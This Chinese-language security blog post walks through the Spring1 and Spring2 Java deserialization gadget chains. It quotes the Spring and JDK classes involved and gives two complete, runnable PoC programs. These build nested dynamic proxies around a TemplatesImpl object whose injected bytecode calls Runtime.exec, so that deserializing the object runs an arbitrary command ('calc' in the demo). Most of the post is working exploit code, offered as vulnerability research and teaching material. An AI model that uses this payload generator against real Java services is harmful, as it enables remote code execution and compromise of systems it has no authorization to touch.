Spring

前言

没啥好说的,看看吧。

Spring1

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-beans</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
</dependencies>

MethodInvokeTypeProvider

切入点在 org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
static class MethodInvokeTypeProvider implements TypeProvider {

private final TypeProvider provider;

private final String methodName;

private final int index;

private transient Object result;

public MethodInvokeTypeProvider(TypeProvider provider, Method method, int index) {
this.provider = provider;
this.methodName = method.getName();
this.index = index;
this.result = ReflectionUtils.invokeMethod(method, provider.getType());
}

private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
inputStream.defaultReadObject();
Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);
this.result = ReflectionUtils.invokeMethod(method, this.provider.getType());
}
}

readObject会调用this.provider.getType()返回对象的this.methodName指定的方法,这里ReflectionUtils.findMethodReflectionUtils.invokeMethod都没有传递Method的参数,因此是无参方法和无参调用。

我们的目标是让this.MethodNamenewTransformergetOutputProperties(这两个都是public方法,findMethodinvokeMethod都没有设置Method的可访问性),让this.provider.getType()返回TemplatesImpl

这个可以通过动态代理实现,先介绍几个调用处理器。

ObjectFactoryDelegatingInvocationHandler

org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
private static class ObjectFactoryDelegatingInvocationHandler implements InvocationHandler, Serializable {

private final ObjectFactory<?> objectFactory;

public ObjectFactoryDelegatingInvocationHandler(ObjectFactory<?> objectFactory) {
this.objectFactory = objectFactory;
}

@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
String methodName = method.getName();
if (methodName.equals("equals")) {
// Only consider equal when proxies are identical.
return (proxy == args[0]);
}
else if (methodName.equals("hashCode")) {
// Use hashCode of proxy.
return System.identityHashCode(proxy);
}
else if (methodName.equals("toString")) {
return this.objectFactory.toString();
}
try {
return method.invoke(this.objectFactory.getObject(), args);
}
catch (InvocationTargetException ex) {
throw ex.getTargetException();
}
}
}

invoke中会把方法调用委派给objectFactory#getObject()获取到的对象。

AnnotationInvocationHandler

sun.reflect.annotation.AnnotationInvocationHandler

老朋友了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}

public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName();
Class<?>[] paramTypes = method.getParameterTypes();

// Handle Object and Annotation methods
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]);
if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");

switch(member) {
case "toString":
return toStringImpl();
case "hashCode":
return hashCodeImpl();
case "annotationType":
return type;
}

// Handle annotation member accessors
Object result = memberValues.get(member);

if (result == null)
throw new IncompleteAnnotationException(type, member);

if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();

if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);

return result;
}
}

invoke的返回值在memberValues中找,key为method方法名。可以返回任意对象。

POC

TypeProvider#getType返回的是Type接口类,我们可以让一个动态代理类去代理Type接口。

由于接下来ReflectionUtils.invokeMethod(method, this.provider.getType());要调用newTransformer,因此我们这个代理类除了代理Type接口类,还得代理Templates接口类(才能获取到接口类的方法)

获取到的动态代理类Proxy1有如下方法:

image-20240812230157822

那如何让TypeProvider#getType返回我们的(Type)Proxy1呢,也是再套一层动态代理,代理TypeProvider接口类,利用AnnotationInvocationHandler返回Proxy1,即设置memberValues.put("getType", Proxy1)

Proxy1的调用处理器设置为ObjectFactoryDelegatingInvocationHandler,这样就能把newTransformer的调用委托给ObjectFactory#getObject的返回对象去调用了。

ObjectFactory#getObject返回TemplatesImpl即可,到此有两条路可走,继续套动态代理或寻找ObjectFactory的实现类(翻了一下发现不好构造,还是没有动态代理来得优雅)

继续套一层动态代理,代理ObjectFactory<?>泛型接口,利用AnnotationInvocationHandler返回TemplatesImpl,即设置memberValues.put("getObject", TemplatesImpl)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
package com.eddiemurphy;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.beans.factory.ObjectFactory;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;


public class Spring1 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
setValue(templates, "_name", "1");

Class<?> clazz1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> con1 = clazz1.getDeclaredConstructors()[0];
con1.setAccessible(true);
HashMap<String, Object> map1 = new HashMap<String, Object>();
map1.put("getObject", templates);
InvocationHandler invocationHandler1 = (InvocationHandler) con1.newInstance(Target.class, map1);
ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler1);

Class<?> clazz2 = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor<?> con2 = clazz2.getDeclaredConstructors()[0];
con2.setAccessible(true);
InvocationHandler ofdHandler = (InvocationHandler) con2.newInstance(factory);
Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Type.class, Templates.class}, ofdHandler);

HashMap<String, Object> map2 = new HashMap<String, Object>();
map2.put("getType", typeTemplateProxy);
InvocationHandler invocationHandler2 = (InvocationHandler) con1.newInstance(Target.class, map2);

Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClass}, invocationHandler2);

Class<?> clazz3 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> con3 = clazz3.getDeclaredConstructors()[0];
con3.setAccessible(true);
Object o = con3.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
setValue(o, "methodName", "newTransformer");

ser(o);
}

public static void ser(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
ois.readObject();
}

public static byte[] genPayload(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}

public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

Spring2

在Spring1链基础上有所变化,把spring-beansObjectFactoryDelegatingInvocationHandler换成spring-aopJdkDynamicAopProxy

1
2
3
4
5
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>

JdkDynamicAopProxy

1
2
3
4
5
6
7
final class JdkDynamicAopProxy implements AopProxy, InvocationHandler, Serializable {
private final AdvisedSupport advised;
public JdkDynamicAopProxy(AdvisedSupport config) throws AopConfigException {
// ...
this.advised = config;
}
}

image-20240812230621109

image-20240812230629311

JdkDynamicAopProxy将方法调用委托给了AdvisedSupporttarget成员

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package com.eddiemurphy;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;

public class Spring2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
setValue(templates, "_name", "1");

AdvisedSupport as = new AdvisedSupport();
as.setTarget(templates);

Class<?> clazz0 = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy");
Constructor<?> con0 = clazz0.getDeclaredConstructors()[0];
con0.setAccessible(true);
InvocationHandler aopInvocationHandler = (InvocationHandler) con0.newInstance(as);
Object aopProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Type.class, Templates.class}, aopInvocationHandler);

HashMap<String, Object> map2 = new HashMap<String, Object>();
map2.put("getType", aopProxy);
Class<?> clazz2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> con2 = clazz2.getDeclaredConstructors()[0];
con2.setAccessible(true);
InvocationHandler invocationHandler2 = (InvocationHandler) con2.newInstance(Target.class, map2);
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")}, invocationHandler2);

Class<?> clazz3 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> con3 = clazz3.getDeclaredConstructors()[0];
con3.setAccessible(true);
Object o = con3.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
setValue(o, "methodName", "getOutputProperties");

ser(o);
}

public static void ser(Object o) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(o);
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));
ois.readObject();
}

public static byte[] genPayload(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
clazz.addConstructor(constructor);
clazz.getClassFile().setMajorVersion(49);
return clazz.toBytecode();
}

public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

后记

以上POC依赖版本:

· spring-beans : 4.1.4.RELEASE

· spring-core : 4.1.4.RELEASE

· spring-aop : 4.1.4.RELEASE

· jdk 1.7


下集预告:超级重头戏,Hessian.


参考:

Spring | Java (gitbook.io)

Java 反序列化漏洞(三) - CB/Groovy/Hibernate/Spring | 素十八 (su18.org)


Spring
https://eddiemurphy89.github.io/2024/08/12/Spring/
作者
EddieMurphy
发布于
2024年8月12日
许可协议